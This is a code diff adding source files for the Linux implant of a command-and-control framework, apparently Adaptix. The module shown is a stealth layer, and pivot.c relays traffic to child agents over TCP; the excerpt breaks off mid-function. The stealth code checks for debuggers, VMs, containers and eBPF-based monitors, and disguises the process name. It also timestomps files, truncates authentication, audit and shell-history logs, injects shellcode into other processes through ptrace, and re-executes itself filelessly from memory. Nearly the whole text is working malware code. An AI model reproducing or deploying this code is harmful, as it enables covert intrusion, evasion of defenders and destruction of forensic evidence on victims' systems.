+ + // 5. RAM check — /proc/meminfo MemTotal < 2GB = suspect + { + char _path_mem[64]; + DEOBF(OBF_PROC_MEMINFO, _path_mem); + char meminfo_buf[1024]; + if (read_file(_path_mem, meminfo_buf, sizeof(meminfo_buf)) > 0) { + char *mt = ax_strstr(meminfo_buf, "MemTotal:"); + if (mt) { + mt += 9; + while (*mt == ' ') mt++; + long kb = 0; + while (*mt >= '0' && *mt <= '9') { + kb = kb * 10 + (*mt - '0'); + mt++; + } + if (kb > 0 && kb < 2 * 1024 * 1024) return -1; + } + } + } + + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// Container Detection +// ══════════════════════════════════════════════════════════════════════ + +int opsec_container_detect(void) { + char _path_dockerenv[64]; + DEOBF(OBF_DOCKERENV, _path_dockerenv); + if (file_exists(_path_dockerenv)) return -1; + + char _path_cgroup[64]; + DEOBF(OBF_PROC_1_CGROUP, _path_cgroup); + char cgroup_buf[2048]; + if (read_file(_path_cgroup, cgroup_buf, sizeof(cgroup_buf)) > 0) { + if (ax_strstr(cgroup_buf, "docker")) return -1; + if (ax_strstr(cgroup_buf, "kubepods")) return -1; + if (ax_strstr(cgroup_buf, "lxc")) return -1; + if (ax_strstr(cgroup_buf, "containerd")) return -1; + if (ax_strstr(cgroup_buf, "podman")) return -1; + } + + char selfcg_buf[1024]; + if (read_file("/proc/self/cgroup", selfcg_buf, sizeof(selfcg_buf)) > 0) { + if (ax_strstr(selfcg_buf, "docker")) return -1; + if (ax_strstr(selfcg_buf, "kubepods")) return -1; + if (ax_strstr(selfcg_buf, "podman")) return -1; + } + + char _path_k8s[64]; + DEOBF(OBF_K8S_SECRETS, _path_k8s); + if (file_exists(_path_k8s)) return -1; + if (file_exists("/var/run/secrets/kubernetes.io/serviceaccount/token")) return -1; + + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// eBPF Detection — enumerate loaded BPF programs +// ══════════════════════════════════════════════════════════════════════ + +int opsec_ebpf_detect(void) { + int monitoring_count = 0; + + // Method 1: Check /sys/fs/bpf/ — pinned BPF programs + if (file_exists("/sys/fs/bpf")) { + // If the directory exists and is accessible, BPF is active + // We can't easily enumerate without getdents, so just flag it + } + + // Method 2: bpf(BPF_PROG_GET_NEXT_ID) — iterate all loaded programs + // attr = { start_id: u32, next_id: u32 } + // Each iteration returns next program ID + { + // BPF attr union — we only need the first 8 bytes + uint8_t attr[128]; + ax_memset(attr, 0, sizeof(attr)); + + uint32_t start_id = 0; + for (int iter = 0; iter < 1024; iter++) { + // attr.__u32 start_id at offset 0 + ax_memcpy(attr, &start_id, 4); + + long ret = sys_bpf(BPF_PROG_GET_NEXT_ID, attr, sizeof(attr)); + if (ret < 0) break; // No more programs + + // next_id at offset 4 + uint32_t next_id; + ax_memcpy(&next_id, attr + 4, 4); + + // Get fd for this program + ax_memset(attr, 0, sizeof(attr)); + ax_memcpy(attr, &next_id, 4); // prog_id at offset 0 + long fd = sys_bpf(BPF_PROG_GET_FD_BY_ID, attr, sizeof(attr)); + if (fd >= 0) { + // Get program info via BPF_OBJ_GET_INFO_BY_FD + // info_by_fd: { bpf_fd: u32, info_len: u32, info: u64 (ptr) } + uint8_t info[256]; + ax_memset(info, 0, sizeof(info)); + ax_memset(attr, 0, sizeof(attr)); + + uint32_t bpf_fd = (uint32_t)fd; + uint32_t info_len = (uint32_t)sizeof(info); + uint64_t info_ptr = (uint64_t)(unsigned long)info; + + // bpf_attr for OBJ_GET_INFO_BY_FD: + // offset 0: bpf_fd (u32) + // offset 4: info_len (u32) + // offset 8: info (u64, pointer) + ax_memcpy(attr, &bpf_fd, 4); + ax_memcpy(attr + 4, &info_len, 4); + ax_memcpy(attr + 8, &info_ptr, 8); + + ret = sys_bpf(BPF_OBJ_GET_INFO_BY_FD, attr, 16); + if (ret == 0) { + // bpf_prog_info.type is at offset 0 (u32) + uint32_t prog_type; + ax_memcpy(&prog_type, info, 4); + + if (prog_type == BPF_PROG_TYPE_KPROBE || + prog_type == BPF_PROG_TYPE_TRACEPOINT || + prog_type == BPF_PROG_TYPE_RAW_TRACEPOINT || + prog_type == BPF_PROG_TYPE_LSM) { + monitoring_count++; + } + } + sys_close((int)fd); + } + + start_id = next_id; + } + } + + // Method 3: Filesystem indicators + // Check for Falco / Tetragon / Cilium / Tracee + if (file_exists("/etc/falco/falco.yaml")) monitoring_count++; + if (file_exists("/var/run/cilium/state")) monitoring_count++; + if (file_exists("/opt/tetragon")) monitoring_count++; + + return monitoring_count; // 0 = safe, >0 = number of eBPF monitors found +} + +// ══════════════════════════════════════════════════════════════════════ +// Process Masquerading +// ══════════════════════════════════════════════════════════════════════ + +void opsec_masquerade(const char *fake_name, char **argv) { + if (!fake_name || !*fake_name) return; + + // 1. prctl(PR_SET_NAME) → modifies /proc/self/comm (max 16 chars) + sys_prctl(PR_SET_NAME, (unsigned long)fake_name, 0, 0, 0); + + // 2. Overwrite argv[0] → modifies /proc/self/cmdline + if (argv && argv[0]) { + // Calculate max length we can overwrite (argv[0] buffer) + size_t old_len = ax_strlen(argv[0]); + size_t new_len = ax_strlen(fake_name); + size_t copy_len = new_len < old_len ? new_len : old_len; + + ax_memcpy(argv[0], fake_name, copy_len); + // Zero-fill remainder to avoid partial old name showing + if (copy_len < old_len) { + ax_memset(argv[0] + copy_len, 0, old_len - copy_len); + } + } +} + +// ══════════════════════════════════════════════════════════════════════ +// Timestomping — modify atime/mtime via utimensat +// ══════════════════════════════════════════════════════════════════════ + +int opsec_timestomp(const char *path, long ts_sec) { + if (!path) return -1; + + struct linux_timespec times[2]; + + if (ts_sec == 0) { + // Special: set UTIME_OMIT-like behavior — copy from reference + // Use a common system file as reference + struct linux_stat st; + if (sys_stat("/usr/bin/ls", &st) == 0) { + times[0].tv_sec = (long)st.st_atime_sec; + times[0].tv_nsec = (long)st.st_atime_nsec; + times[1].tv_sec = (long)st.st_mtime_sec; + times[1].tv_nsec = (long)st.st_mtime_nsec; + } else { + // Fallback: Jan 15, 2024 10:30:00 UTC + times[0].tv_sec = 1705311000; + times[0].tv_nsec = 0; + times[1].tv_sec = 1705311000; + times[1].tv_nsec = 0; + } + } else { + times[0].tv_sec = ts_sec; + times[0].tv_nsec = 0; + times[1].tv_sec = ts_sec; + times[1].tv_nsec = 0; + } + + return sys_utimensat(AT_FDCWD, path, times, 0); +} + +// ══════════════════════════════════════════════════════════════════════ +// Log Evasion — truncate authentication & session logs +// ══════════════════════════════════════════════════════════════════════ + +int opsec_clean_logs(void) { + // Only effective as root — non-root will fail silently + int cleaned = 0; + + // Truncate binary logs (these can't be selectively edited) + const char *binary_logs[] = { + "/var/log/wtmp", + "/var/log/btmp", + "/var/log/lastlog", + "/var/run/utmp", + NULL + }; + + for (int i = 0; binary_logs[i]; i++) { + int fd = sys_open(binary_logs[i], O_WRONLY | O_TRUNC, 0); + if (fd >= 0) { + sys_close(fd); + cleaned++; + } + } + + // Truncate text logs + const char *text_logs[] = { + "/var/log/auth.log", + "/var/log/secure", + "/var/log/syslog", + "/var/log/messages", + "/var/log/audit/audit.log", + NULL + }; + + for (int i = 0; text_logs[i]; i++) { + int fd = sys_open(text_logs[i], O_WRONLY | O_TRUNC, 0); + if (fd >= 0) { + sys_close(fd); + cleaned++; + } + } + + // Clear shell history for current user + // Read HOME from /proc/self/environ + char _path_environ[64]; + DEOBF(OBF_PROC_SELF_ENVIRON, _path_environ); + char env_buf[4096]; + int env_len = read_file(_path_environ, env_buf, sizeof(env_buf)); + if (env_len > 0) { + // /proc/self/environ is NUL-separated + char *p = env_buf; + char *end = env_buf + env_len; + while (p < end) { + if (ax_strncmp(p, "HOME=", 5) == 0) { + char *home = p + 5; + // Truncate common history files + char path[512]; + const char *history_files[] = { + "/.bash_history", + "/.zsh_history", + "/.python_history", + NULL + }; + for (int i = 0; history_files[i]; i++) { + // Build path: HOME + history_file + size_t hlen = ax_strlen(home); + size_t flen = ax_strlen(history_files[i]); + if (hlen + flen < sizeof(path)) { + ax_memcpy(path, home, hlen); + ax_memcpy(path + hlen, history_files[i], flen + 1); + int fd = sys_open(path, O_WRONLY | O_TRUNC, 0); + if (fd >= 0) { + sys_close(fd); + cleaned++; + } + } + } + break; + } + // Skip to next NUL-separated entry + while (p < end && *p) p++; + p++; + } + } + + return cleaned; // Number of logs truncated +} + +// ══════════════════════════════════════════════════════════════════════ +// Process Injection via ptrace +// ══════════════════════════════════════════════════════════════════════ + +#ifdef ARCH_X86_64 + +// x86_64 user_regs_struct (simplified) +struct user_regs { + uint64_t r15, r14, r13, r12, rbp, rbx, r11, r10; + uint64_t r9, r8, rax, rcx, rdx, rsi, rdi, orig_rax; + uint64_t rip, cs, eflags, rsp, ss, fs_base, gs_base; + uint64_t ds, es, fs, gs; +}; + +int opsec_inject_ptrace(int target_pid, const uint8_t *shellcode, size_t sc_len) { + if (!shellcode || sc_len == 0) return -1; + + // 1. Attach to target + if (sys_ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) < 0) + return -1; + + // Wait for target to stop + int wstatus = 0; + sys_wait4(target_pid, &wstatus, 0, NULL); + + // 2. Get current registers + struct user_regs regs; + if (sys_ptrace(PTRACE_GETREGS, target_pid, NULL, ®s) < 0) { + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + return -1; + } + + // 3. Find writable region in target via /proc/PID/maps + // Look for an anonymous RW mapping (e.g. heap or stack) to write shellcode + char maps_path[64]; + char pid_str[16]; + ax_itoa(target_pid, pid_str, 10); + ax_strcpy(maps_path, "/proc/"); + ax_strcat(maps_path, pid_str); + ax_strcat(maps_path, "/maps"); + + char maps_buf[8192]; + int maps_len = read_file(maps_path, maps_buf, sizeof(maps_buf)); + if (maps_len <= 0) { + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + return -1; + } + + // Parse maps looking for an executable region to inject into. + // Priority: 1) r-xp (code section — POKETEXT bypasses page protections) + // 2) rwxp (rare but ideal) + // 3) fallback to current RIP + // Writing into r-xp via POKETEXT works because ptrace operates at + // the kernel level, bypassing page permission checks. The page is + // already executable so the target can run the shellcode directly. + uint64_t inject_addr = 0; + char *line = maps_buf; + while (*line) { + // Format: "addr1-addr2 perms offset dev inode pathname" + uint64_t addr1 = 0, addr2 = 0; + char *p = line; + while (*p && *p != '-') { + char c = *p; + if (c >= '0' && c <= '9') addr1 = (addr1 << 4) | (uint64_t)(c - '0'); + else if (c >= 'a' && c <= 'f') addr1 = (addr1 << 4) | (uint64_t)(c - 'a' + 10); + p++; + } + if (*p == '-') p++; + while (*p && *p != ' ') { + char c = *p; + if (c >= '0' && c <= '9') addr2 = (addr2 << 4) | (uint64_t)(c - '0'); + else if (c >= 'a' && c <= 'f') addr2 = (addr2 << 4) | (uint64_t)(c - 'a' + 10); + p++; + } + if (*p == ' ') p++; + // Read perms (4 chars: r-xp, rwxp, rw-p, etc.) + if (p[0] == 'r' && p[2] == 'x' && p[3] == 'p') { + // r-xp or rwxp — executable region + uint64_t region_size = addr2 - addr1; + if (region_size > sc_len + 0x200) { + // Inject near the end of .text to minimize disruption + inject_addr = addr2 - sc_len - 0x100; + // Align to 16 + inject_addr &= ~(uint64_t)0xF; + break; + } + } + // Next line + while (*line && *line != '\n') line++; + if (*line == '\n') line++; + } + + if (inject_addr == 0) { + // Fallback: use RIP-relative (inject at current RIP position) + inject_addr = regs.rip; + } + + // 4. Write shellcode via POKETEXT (8 bytes at a time) + for (size_t i = 0; i < sc_len; i += 8) { + uint64_t word = 0; + size_t chunk = sc_len - i; + if (chunk > 8) chunk = 8; + + // If less than 8 bytes, read existing word first to preserve trailing bytes + if (chunk < 8) { + long existing = sys_ptrace(PTRACE_PEEKTEXT, target_pid, + (void *)(inject_addr + i), NULL); + word = (uint64_t)existing; + } + + ax_memcpy(&word, shellcode + i, chunk); + if (sys_ptrace(PTRACE_POKETEXT, target_pid, + (void *)(inject_addr + i), (void *)word) < 0) { + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + return -1; + } + } + + // 5. Set RIP to our shellcode + regs.rip = inject_addr; + sys_ptrace(PTRACE_SETREGS, target_pid, NULL, ®s); + + // 6. Detach — target resumes at our shellcode + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + + return 0; +} + +#elif defined(ARCH_AARCH64) + +// ARM64 user_regs_struct +struct user_regs { + uint64_t regs[31]; // x0-x30 + uint64_t sp; + uint64_t pc; + uint64_t pstate; +}; + +// ARM64 uses PTRACE_GETREGSET / PTRACE_SETREGSET with NT_PRSTATUS +// But some kernels support GETREGS/SETREGS too. Use raw ptrace. +#define PTRACE_GETREGSET 0x4204 +#define PTRACE_SETREGSET 0x4205 +#define NT_PRSTATUS 1 + +struct iovec_t { + void *iov_base; + size_t iov_len; +}; + +int opsec_inject_ptrace(int target_pid, const uint8_t *shellcode, size_t sc_len) { + if (!shellcode || sc_len == 0) return -1; + + // 1. Attach + if (sys_ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) < 0) + return -1; + + int wstatus = 0; + sys_wait4(target_pid, &wstatus, 0, NULL); + + // 2. Get registers via GETREGSET + struct user_regs regs; + struct iovec_t iov; + iov.iov_base = ®s; + iov.iov_len = sizeof(regs); + + if (sys_ptrace(PTRACE_GETREGSET, target_pid, (void *)(long)NT_PRSTATUS, &iov) < 0) { + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + return -1; + } + + // 3. Find writable region + char maps_path[64]; + char pid_str[16]; + ax_itoa(target_pid, pid_str, 10); + ax_strcpy(maps_path, "/proc/"); + ax_strcat(maps_path, pid_str); + ax_strcat(maps_path, "/maps"); + + char maps_buf[8192]; + int maps_len = read_file(maps_path, maps_buf, sizeof(maps_buf)); + uint64_t inject_addr = 0; + + if (maps_len > 0) { + // Find r-xp or rwxp region (executable) — POKETEXT bypasses page protections + char *line = maps_buf; + while (*line) { + uint64_t addr1 = 0, addr2 = 0; + char *p = line; + while (*p && *p != '-') { + char c = *p; + if (c >= '0' && c <= '9') addr1 = (addr1 << 4) | (uint64_t)(c - '0'); + else if (c >= 'a' && c <= 'f') addr1 = (addr1 << 4) | (uint64_t)(c - 'a' + 10); + p++; + } + if (*p == '-') p++; + while (*p && *p != ' ') { + char c = *p; + if (c >= '0' && c <= '9') addr2 = (addr2 << 4) | (uint64_t)(c - '0'); + else if (c >= 'a' && c <= 'f') addr2 = (addr2 << 4) | (uint64_t)(c - 'a' + 10); + p++; + } + if (*p == ' ') p++; + if (p[0] == 'r' && p[2] == 'x' && p[3] == 'p') { + uint64_t region_size = addr2 - addr1; + if (region_size > sc_len + 0x200) { + inject_addr = addr2 - sc_len - 0x100; + inject_addr &= ~(uint64_t)0xF; + break; + } + } + while (*line && *line != '\n') line++; + if (*line == '\n') line++; + } + } + + if (inject_addr == 0) { + inject_addr = regs.pc; + } + + // 4. Write shellcode via POKETEXT + for (size_t i = 0; i < sc_len; i += 8) { + uint64_t word = 0; + size_t chunk = sc_len - i; + if (chunk > 8) chunk = 8; + + if (chunk < 8) { + long existing = sys_ptrace(PTRACE_PEEKTEXT, target_pid, + (void *)(inject_addr + i), NULL); + word = (uint64_t)existing; + } + + ax_memcpy(&word, shellcode + i, chunk); + if (sys_ptrace(PTRACE_POKETEXT, target_pid, + (void *)(inject_addr + i), (void *)word) < 0) { + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + return -1; + } + } + + // 5. Set PC to our shellcode + regs.pc = inject_addr; + iov.iov_base = ®s; + iov.iov_len = sizeof(regs); + sys_ptrace(PTRACE_SETREGSET, target_pid, (void *)(long)NT_PRSTATUS, &iov); + + // 6. Detach + sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL); + + return 0; +} + +#endif // ARCH_X86_64 / ARCH_AARCH64 + +// ══════════════════════════════════════════════════════════════════════ +// Fileless self-re-exec via memfd_create +// ══════════════════════════════════════════════════════════════════════ + +int opsec_migrate_memfd(char **argv, char **envp) { + // 1. Read our own binary from /proc/self/exe + char _path_exe[64]; + DEOBF(OBF_PROC_SELF_EXE, _path_exe); + int src_fd = sys_open(_path_exe, O_RDONLY, 0); + if (src_fd < 0) return -1; + + // Get size via stat + struct linux_stat st; + if (sys_fstat(src_fd, &st) < 0) { + sys_close(src_fd); + return -1; + } + + size_t exe_size = (size_t)st.st_size; + if (exe_size == 0 || exe_size > 100 * 1024 * 1024) { + sys_close(src_fd); + return -1; // Sanity check: max 100MB + } + + // 2. Create anonymous fd via memfd_create + int mem_fd = sys_memfd_create("", MFD_CLOEXEC); + if (mem_fd < 0) { + sys_close(src_fd); + return -1; + } + + // 3. Copy binary to memfd + uint8_t copy_buf[4096]; + size_t remaining = exe_size; + while (remaining > 0) { + size_t chunk = remaining > sizeof(copy_buf) ? sizeof(copy_buf) : remaining; + long n = sys_read(src_fd, copy_buf, chunk); + if (n <= 0) { + sys_close(src_fd); + sys_close(mem_fd); + return -1; + } + if (write_all(mem_fd, copy_buf, (size_t)n) != 0) { + sys_close(src_fd); + sys_close(mem_fd); + return -1; + } + remaining -= (size_t)n; + } + sys_close(src_fd); + + // 4. Build /proc/self/fd/N path for execve + char fd_path[64]; + ax_strcpy(fd_path, "/proc/self/fd/"); + char fd_str[16]; + ax_itoa(mem_fd, fd_str, 10); + ax_strcat(fd_path, fd_str); + + // 5. execve from memfd — replaces current process + // If argv is NULL, use a minimal argv + char *default_argv[] = { (char*)"[kworker/0:1-events]", NULL }; + char *default_envp[] = { NULL }; + + sys_execve(fd_path, + argv ? argv : default_argv, + envp ? envp : default_envp); + + // If we get here, execve failed + sys_close(mem_fd); + return -1; +} + +// ══════════════════════════════════════════════════════════════════════ +// Combined Check +// ══════════════════════════════════════════════════════════════════════ + +int opsec_check(void) { + // Anti-debug is blocking + if (opsec_anti_debug() != 0) return -1; + + // VM detection is blocking + if (opsec_vm_detect() != 0) return -1; + + // Container detection is informational — don't block + // opsec_container_detect(); + + // eBPF detection is informational — >5 monitors is suspicious but not blocking + // int ebpf = opsec_ebpf_detect(); + // if (ebpf > 5) return -1; // Uncomment for paranoid mode + + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.h new file mode 100644 index 000000000..e6fee399f --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.h @@ -0,0 +1,36 @@ +#ifndef OPSEC_H +#define OPSEC_H + +#include "types.h" + +/// OPSEC checks -- anti-debug, VM detection, container detection, eBPF detection +/// Call opsec_check() at startup before any C2 communication. + +/// Run all OPSEC checks. Returns 0 if safe, -1 if hostile environment detected. +int opsec_check(void); + +/// Individual checks (can be called separately) +int opsec_anti_debug(void); /* ptrace(TRACEME) + /proc/self/status TracerPid */ +int opsec_vm_detect(void); /* VM/hypervisor detection via CPUID / DMI */ +int opsec_container_detect(void); /* cgroup v1/v2, /.dockerenv, namespace checks */ +int opsec_ebpf_detect(void); /* eBPF program enumeration (kprobes/tracepoints) */ + +/// Process masquerading — called at startup +/// Modifies /proc/self/comm and argv[0] to fake process name +void opsec_masquerade(const char *fake_name, char **argv); + +/// Timestomping — modify file timestamps via utimensat syscall +/// ts_sec=0 means copy timestamps from reference_path +int opsec_timestomp(const char *path, long ts_sec); + +/// Log evasion — truncate auth/wtmp/btmp logs (requires root) +int opsec_clean_logs(void); + +/// Process injection via ptrace — inject + exec shellcode in target pid +int opsec_inject_ptrace(int target_pid, const uint8_t *shellcode, size_t sc_len); + +/// Fileless self-re-exec via memfd_create +/// Reads own binary from /proc/self/exe, creates anonymous fd, fexecve +int opsec_migrate_memfd(char **argv, char **envp); + +#endif /* OPSEC_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.c new file mode 100644 index 000000000..26a9afaa1 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.c @@ -0,0 +1,393 @@ +#include "pivot.h" +#include "crt.h" +#include "connector.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// Linux socket constants (duplicated from connector.c — no shared header for these) +#ifndef AF_INET +#define AF_INET 2 +#endif +#ifndef SOCK_STREAM +#define SOCK_STREAM 1 +#endif +#ifndef IPPROTO_TCP +#define IPPROTO_TCP 6 +#endif + +// For non-blocking IO +#define F_GETFL 3 +#define F_SETFL 4 +#define O_NONBLOCK 04000 + +// For getsockopt SO_ERROR check after non-blocking connect +#define SOL_SOCKET 1 +#define SO_ERROR 4 + +// EINPROGRESS for non-blocking connect +#define EINPROGRESS 115 + +// Connect timeout (seconds) +#define PIVOT_CONNECT_TIMEOUT 10 + +// For pselect fd_set (up to 1024 fds) +typedef struct { + unsigned long fds_bits[1024 / (8 * sizeof(unsigned long))]; +} linux_fd_set; + +#define FD_ZERO(set) ax_memset((set), 0, sizeof(linux_fd_set)) +#define FD_SET(fd, set) ((set)->fds_bits[(fd) / (8 * sizeof(unsigned long))] |= (1UL << ((fd) % (8 * sizeof(unsigned long))))) +#define FD_ISSET(fd, set) ((set)->fds_bits[(fd) / (8 * sizeof(unsigned long))] & (1UL << ((fd) % (8 * sizeof(unsigned long))))) + +// sockaddr_in (manual, no libc) +struct pivot_sockaddr_in { + uint16_t sin_family; + uint16_t sin_port; + uint32_t sin_addr; + uint8_t sin_zero[8]; +}; + +/// Global pivot context +pivot_context_t g_pivot_ctx; + +void pivots_init(pivot_context_t *ctx) { + ax_memset(ctx, 0, sizeof(pivot_context_t)); +} + +/// Parse "host:port" into ip (network byte order) and port (host order) +static int pivot_parse_addr(const char *address, int port_override, + uint32_t *ip_out, uint16_t *port_out) { + // If address contains ':', parse as "host:port" + // Otherwise use address as host and port_override as port + const char *host = address; + int port = port_override; + + const char *colon = (const char *)0; + for (const char *p = address; *p; p++) { + if (*p == ':') colon = p; + } + + // Parse IP octets from host part + const char *end = colon ? colon : (address + ax_strlen(address)); + + uint32_t octets[4] = {0}; + int idx = 0; + for (const char *p = host; p < end && idx < 4; p++) { + if (*p == '.') { + idx++; + } else if (*p >= '0' && *p <= '9') { + octets[idx] = octets[idx] * 10 + (*p - '0'); + } else { + return -1; + } + } + if (idx != 3) return -1; + for (int i = 0; i < 4; i++) + if (octets[i] > 255) return -1; + + *ip_out = octets[0] | (octets[1] << 8) | (octets[2] << 16) | (octets[3] << 24); + + // Port: network byte order + uint16_t p16 = (uint16_t)port; + *port_out = ((p16 >> 8) & 0xFF) | ((p16 & 0xFF) << 8); + + return 0; +} + +/// Read exactly N bytes from fd. Returns 0 on success, -1 on failure. +static int pivot_read_exact(int fd, uint8_t *buf, size_t size) { + size_t total = 0; + while (total < size) { + long n = sys_read(fd, buf + total, size - total); + if (n <= 0) return -1; + total += (size_t)n; + } + return 0; +} + +/// Write exactly N bytes to fd. Returns 0 on success, -1 on failure. +static int pivot_write_exact(int fd, const uint8_t *buf, size_t size) { + size_t total = 0; + while (total < size) { + long n = sys_write(fd, buf + total, size - total); + if (n <= 0) return -1; + total += (size_t)n; + } + return 0; +} + +/// Read a length-prefixed message from child: [4B BE length][payload] +/// Returns payload (caller frees) and sets *out_len. Returns NULL on failure. +static uint8_t *pivot_recv_msg(int fd, uint32_t *out_len) { + uint8_t hdr[4]; + if (pivot_read_exact(fd, hdr, 4) != 0) return (uint8_t *)0; + + uint32_t msg_len = ((uint32_t)hdr[0] << 24) | ((uint32_t)hdr[1] << 16) | + ((uint32_t)hdr[2] << 8) | hdr[3]; + if (msg_len == 0 || msg_len > 64 * 1024 * 1024) return (uint8_t *)0; + + uint8_t *buf = (uint8_t *)ax_malloc(msg_len); + if (!buf) return (uint8_t *)0; + + if (pivot_read_exact(fd, buf, msg_len) != 0) { + ax_free(buf); + return (uint8_t *)0; + } + + *out_len = msg_len; + return buf; +} + +/// Send a length-prefixed message to child: [4B BE length][payload] +static int pivot_send_msg(int fd, const uint8_t *data, uint32_t data_len) { + uint8_t hdr[4] = { + (uint8_t)(data_len >> 24), (uint8_t)(data_len >> 16), + (uint8_t)(data_len >> 8), (uint8_t)data_len + }; + if (pivot_write_exact(fd, hdr, 4) != 0) return -1; + if (pivot_write_exact(fd, data, data_len) != 0) return -1; + return 0; +} + +// ── Link TCP ── + +int pivot_link_tcp(pivot_context_t *ctx, uint32_t task_id, + const char *address, int port, + mp_writer_t *response) { + // Find free slot + int slot = -1; + for (int i = 0; i < MAX_PIVOTS; i++) { + if (!ctx->entries[i].active) { + slot = i; + break; + } + } + if (slot < 0) { + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Max pivots reached"); + return -1; + } + + // Parse address + uint32_t ip; + uint16_t net_port; + if (pivot_parse_addr(address, port, &ip, &net_port) != 0) { + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Invalid address"); + return -1; + } + + // Create socket + non-blocking connect with timeout + int fd = sys_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (fd < 0) { + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Socket creation failed"); + return -1; + } + + struct pivot_sockaddr_in addr; + ax_memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = net_port; + addr.sin_addr = ip; + + // Set non-blocking for connect timeout + long orig_flags = sys_fcntl(fd, F_GETFL, 0); + sys_fcntl(fd, F_SETFL, orig_flags | O_NONBLOCK); + + int conn_ret = sys_connect(fd, &addr, sizeof(addr)); + if (conn_ret != 0 && conn_ret != -EINPROGRESS) { + sys_close(fd); + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Connection refused"); + return -1; + } + + if (conn_ret == -EINPROGRESS) { + // Wait for connection with timeout using pselect6 + linux_fd_set writefds; + FD_ZERO(&writefds); + FD_SET(fd, &writefds); + + struct linux_timespec conn_timeout = { .tv_sec = PIVOT_CONNECT_TIMEOUT, .tv_nsec = 0 }; + int ready = sys_pselect6(fd + 1, (void *)0, &writefds, (void *)0, &conn_timeout, (void *)0); + + if (ready <= 0) { + sys_close(fd); + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Connection timed out"); + return -1; + } + + // Check SO_ERROR to verify connection succeeded + int sock_err = 0; + unsigned int err_len = sizeof(sock_err); + sys_getsockopt(fd, SOL_SOCKET, SO_ERROR, &sock_err, &err_len); + if (sock_err != 0) { + sys_close(fd); + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Connection refused"); + return -1; + } + } + + // Restore blocking mode for subsequent read/write + sys_fcntl(fd, F_SETFL, orig_flags); + + // Read handshake from child agent: + // The child sends its init message as [4B BE length][encrypted_data] + // The encrypted_data contains the watermark (first 4 bytes) + beat + // We need to read the full message and pass it back to the teamserver + uint32_t beat_len = 0; + uint8_t *beat_data = pivot_recv_msg(fd, &beat_len); + if (!beat_data || beat_len < 4) { + if (beat_data) ax_free(beat_data); + sys_close(fd); + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Handshake failed"); + return -1; + } + + // Store pivot + ctx->entries[slot].id = task_id; + ctx->entries[slot].fd = fd; + ctx->entries[slot].active = 1; + ctx->count++; + + // Build response: {type: PIVOT_TYPE_TCP, watermark: uint32, beat: bytes} + // The watermark is the first 4 bytes of the beat data (agent's watermark) + uint32_t watermark = ((uint32_t)beat_data[0] << 24) | ((uint32_t)beat_data[1] << 16) | + ((uint32_t)beat_data[2] << 8) | beat_data[3]; + + mp_write_map(response, 3); + mp_write_kv_uint(response, "type", PIVOT_TYPE_TCP); + mp_write_kv_uint(response, "watermark", watermark); + mp_write_kv_bin(response, "beat", beat_data + 4, beat_len - 4); + + ax_free(beat_data); + return 0; +} + +// ── Unlink ── + +int pivot_unlink(pivot_context_t *ctx, uint32_t pivot_id, + mp_writer_t *response) { + for (int i = 0; i < MAX_PIVOTS; i++) { + if (ctx->entries[i].active && ctx->entries[i].id == pivot_id) { + sys_close(ctx->entries[i].fd); + ctx->entries[i].active = 0; + ctx->entries[i].fd = -1; + ctx->count--; + + mp_write_map(response, 2); + mp_write_kv_uint(response, "pivot_id", pivot_id); + mp_write_kv_uint(response, "type", PIVOT_TYPE_TCP); + return 0; + } + } + + mp_write_map(response, 2); + mp_write_kv_uint(response, "pivot_id", pivot_id); + mp_write_kv_uint(response, "type", 0); + return -1; +} + +// ── Write to pivot (relay from teamserver to child) ── + +int pivot_write(pivot_context_t *ctx, uint32_t pivot_id, + const uint8_t *data, uint32_t data_len) { + if (!data || data_len == 0) return -1; + + for (int i = 0; i < MAX_PIVOTS; i++) { + if (ctx->entries[i].active && ctx->entries[i].id == pivot_id) { + return pivot_send_msg(ctx->entries[i].fd, data, data_len); + } + } + return -1; +} + +// ── Process pivots (poll child sockets for incoming data) ── + +int process_pivots(pivot_context_t *ctx, mp_writer_t *objects_writer) { + if (ctx->count == 0) return 0; + + int appended = 0; + + for (int i = 0; i < MAX_PIVOTS; i++) { + if (!ctx->entries[i].active) continue; + + int fd = ctx->entries[i].fd; + + // Non-blocking check: use pselect6 with zero timeout + linux_fd_set readfds; + FD_ZERO(&readfds); + FD_SET(fd, &readfds); + + struct linux_timespec timeout = { .tv_sec = 0, .tv_nsec = 0 }; + int ready = sys_pselect6(fd + 1, &readfds, (void *)0, (void *)0, &timeout, (void *)0); + + if (ready > 0 && FD_ISSET(fd, &readfds)) { + // Data available — try to read a length-prefixed message + uint32_t msg_len = 0; + uint8_t *msg_data = pivot_recv_msg(fd, &msg_len); + + if (msg_data && msg_len > 0) { + // Build a Command{code: PIVOT_EXEC, id: 0, data: {pivot_id, data}} + mp_writer_t inner; + mp_writer_init(&inner, 64); + mp_write_map(&inner, 2); + mp_write_kv_uint(&inner, "pivot_id", ctx->entries[i].id); + mp_write_kv_bin(&inner, "data", msg_data, msg_len); + + 